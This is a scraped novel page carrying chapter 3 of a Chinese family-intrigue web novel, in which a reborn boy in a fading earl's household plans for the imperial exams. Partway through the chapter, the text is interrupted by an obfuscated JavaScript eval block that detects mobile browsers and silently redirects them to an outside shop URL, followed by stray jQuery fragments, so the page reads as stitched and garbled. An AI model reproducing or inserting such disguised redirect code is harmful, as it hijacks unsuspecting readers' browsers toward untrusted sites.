文趣网 > 都市小说 > 赘婿之子(科举) > 3. 第 3 章
    第三章

    谢父是入赘的养老女婿,他们的户籍这辈子都会在荣安伯爵府,迁出户籍是断然不可能的,可若是自己手中有钱粮入账,不必事事指望家中,左右也不过是名头上的限制,关起门来照样过日。

    “千真万确,我回来左思右想才想出学识进益的缘由,这才明白。府中曾是国公府,底蕴深厚,藏书良多,父亲不爱读书,我日日翻阅,又不似从前科考时逼迫自己苦读,心中自在,无心插柳柳成荫,反而学识进益。”

    谢父解释完,面上还带着些许喜色。

    “夫君有此番盘算,又有几分把握,于当下情形是再好不过。”夫妻二人商量完这件大事,谢母眉间的愁绪少了几分,心中又升起些许指望,随后低声郑重叮嘱:“不过这件事夫君莫要让他人知晓。”

    谢父闻言,明白其中轻重,认真点头:“此事除你之外未同他人提起,便是恩师亦未明言。”

    他是荣安伯爵府的养老女婿,如今荣安伯妾室有孕的事情京城众人皆知,此时若传出他准备科考的事情,外人定然明白他这是在寻出路。

    如此一来定会传出他同荣安伯夫妇离心的言论,更甚至会传出荣安伯要对他扫地出门的话。这于荣安伯来说不是什么好名声,但凡有人参上荣安伯一本苛待赘婿,荣安伯府岌岌可危的爵位更是难保。

    且云姨娘还未生产,若生产后并不是男儿,那可就悔之晚矣。

    荣安伯会与他们心有隔阂,外面的闲话也不会好听。不仅是荣安伯会有麻烦,谢父若真要科考,这样的名声对他来说也是拖累。

    百善孝为先,自古以来父母纵是有千般的不是,儿女也不可忤逆,他这样早早另谋出路的行径亦会被人说是凉薄。

    况且即便要科考也还有些时日,届时云姨娘也生产完,无论生下是男是女,再传出他科考的消息也于他无碍。若是男儿,旁人只会说他未雨绸缪,不给岳父难做;若是女儿更是只会说他上进。

    夫妻二人商定后才闲聊些旁的。

    屋外,去而复返的谢时行听完这父母的这番盘算也狠狠松了口气。

    娘亲招赘是在家中没有男丁的情况下不得已而为之,若是云姨娘生下男儿,这荣安伯爵府便有名正言顺的继承者。

    这孩子同他娘亲还不是一母同胞,那他娘亲一女子招赘住在日后定然会被庶弟继承的府中,无论如何都是让人笑掉大牙,尤其是荣安伯百年之后,他们一家又该如何自处?

    近些时日,谢时行想到这层,不由得替他们一家忧愁。

    此刻知晓父亲对此事已经有应对的法子,心中安慰不少,至于父亲考不考得上的问题,谢时行没有那么忧虑。

    不说谢父有几分把握,即使没考上,只要谢父有这个心思也是好的,祖父会因此顾忌几分。且云姨娘腹中的孩子还未出生,便是出生后等到长大也需要十余年,这十余年是父亲的机会。

    再不济……

    还有他!

    想到这,谢时行悄悄握紧拳头,与父亲的想法不谋而合,近些时日谢时行想出应对这局面的法子也是科考!

    荣安伯爵府没落,甚是期盼族中出能人,是而对后代子嗣的寄予厚望,更是对爵位没有之后的未雨绸缪。无爵位承袭之后,再不有点学识如何立足?

    他出生后祖父对他亦是着重栽培,四岁便请夫子启蒙,平常祖父更是亲自督促他的学业,就是为日后替他在朝堂谋个荫封的官职,他能凭借自身的才干在朝堂上有所建树。

    谢时行对此安排本也是赞同的,毕竟科考一途实在是艰难,这都是寒门学子千军万马过独木桥的荆棘之路。

    他胎投的好,不必去吃这苦,自然乐的清闲。

    此一时彼一时,云姨娘有孕,祖父断然不会将荫封的机会给他,即便云姨娘的胎生下女儿。

    因为云姨娘的胎并不是荣安伯最兴奋的原因,而是他再度有子嗣的机会,荣安伯同意招赘的根源是太医诊治弱症加上多年不孕,如今云姨娘再度有孕,证明日后荣安伯或许还会有子嗣,毕竟荣安伯不过四十多岁,还算壮年。

    理智之人或许会说云姨娘此次不过是碰巧,再有下次不是那么容易。

    □□安伯不会在乎那些,有一次就会有二次,即便机会渺茫也是有一丝期望,为了这一丝期望,荣安伯也不会把荫封给他,定然是要留给自己的儿子,直至弥留之际。

    说到底,荫封不给他这个孙子荣安伯不会觉得心疼,但若是自己儿子没有荫封,那可就是天大的损失。

    谢时行看的明白,这才是祖父躲着他的真正原因。

    看清这层,谢时行心里十分明白若他还想入仕恐怕只能科考。朝堂他是肯定要入的,不说古代士农工商,唯有士族地位高;单是他出身京城勋爵世家,这身份就意味着不可能平淡度日,世人对风光不再、落下泥潭之人的恶意远比想象的大。

    譬如,近日京中各府女眷对他娘亲的幸灾乐祸。

    再有便是京城这种天子脚下,三步一勋贵,五步一权臣的地界,若是没有倚仗的权势日子定然难过。且他身怀奇遇,带着上一世读至博士的记忆,心智成熟,对读书科考也是有些帮助。

    启蒙这两年,谢时行在夫子和祖父面前故意藏拙,实则对科考考卷的水平心中有数,起码以他前世博士的知识储备对秀才功名还算是十拿九稳,不愿意显露,顾忌有二。

    一是木秀于林风必摧之,荣安伯爵府没落,忽然出个神童,满京城的权贵都会盯着,这对荣安伯爵府不是好事,对他更是不好;那些不愿意看到荣安伯爵府起来的人会不遗余力的打击他。

    二是不愿背负过多期望与压力,若他显露不凡,祖父定会加倍培养,但他心知肚明自己或许能凭借前世记忆于年少时博得才名,可一旦进入官场这个从未涉及的地方他恐不敌,反而被人嘲讽不过尔尔,届时更加难堪。

    如今情势所

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743982|209186||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    迫,他也顾不得许多,打定主意若是云姨娘生下祖父的儿子,他便要努力科考。

    这样一来能给自己的父母挽回些颜面,一家三口有旁的出路,还能让祖父多几分顾忌。只是事态紧急,他不过六岁,若两年内考取功名彼时不过八岁,定然会在京城掀起波澜。

    顾忌此事,他连日不能入眠,现下总算是放松。

    父亲科考,就能帮他争取些时间,他再慢慢显露接替父亲科考。

    故而,父亲考不考得上都没关系,主要得摆出态度,让祖父和外面那些幸灾乐祸的人明白他们有其他的路可走。

    屋内夫妻二人不知道儿子的一番谋划,转头瞧见站在门口的儿子诧异道:“时哥儿,你何时回来的?”

    “夫子昨日布置的课业我有些不解,刚才忘记询问父亲,特意折回。”谢时行找了个借口。

    听见儿子对课业有不懂之处,谢父没有耽误,立马解惑。谢母心中有了指望,对读书一事更加看重,安静的没有打扰。

    谢父谢母谋划后沉稳许多,府中平静一段时日,很快便到年节。往年热闹的年节不复存在,荣安伯爵府今岁的年节充斥着沉闷的气氛,府里的下人们噤若寒蝉不敢造次。

    除夕夜,正堂张灯结彩,道道珍馐美味被下人摆上桌,一家人围坐桌前,谢时行见到月余没瞧见的祖父荣安伯。

    “小婿恭祝父亲母亲岁岁年年福寿安康!”谢父执杯起身,打破凝滞的气氛,率先开口拜年。

    谢时行在父亲的示意下紧随其后:“孙儿祝愿祖父祖母瑞气盈门、喜乐长安!”

    荣安伯抬眼看向刻意许久不见的孙儿,心里动容,开口道:“时哥儿有心,祖父心怀甚慰。”

    这一开口,席间氛围缓和几分,荣安伯夫人神色舒缓,下首其余妾室和庶女暗自松气,纷纷说起吉祥话。

    难料,不速之客忽至。

    “你怎么来了?”上座的荣安伯乍见门口被搀扶着进来的云姨娘,瞬时起身几步走到云姨娘面前紧张的伸手亲自搀扶,语气责备:“不知道你如今身子贵重吗?怎么乱跑?”

    云姨娘微微垂首,柔声请罪,荣安伯此时哪里会同云姨娘计较这些微末:“我不是吩咐下人告诉你会去陪你吗?”

    “伯爷恕罪,妾身独处栖云阁难免孤苦,心中甚是想同家中之人共庆年节,这才私自前来,伯爷莫怪。”

    云姨娘一番示弱,说的自己甚是可怜。

    “况且妾身有孕不过月余,身子还不笨重,若是月份大些定然不敢。”

    又是一番讨饶,荣安伯才没追究,随即命人在自己身边加位子,此言一出,在场众人神色各异。

    自古以来年节家宴正妻才可坐在丈夫的旁边,现在让云姨娘一妾室坐在荣安伯身边,这不明摆着告诉众人云姨娘如今的地位同荣安伯夫人这位正室发妻的地位是一样的吗?

    一时间,屋内众人悄悄打量荣安伯夫人的面色。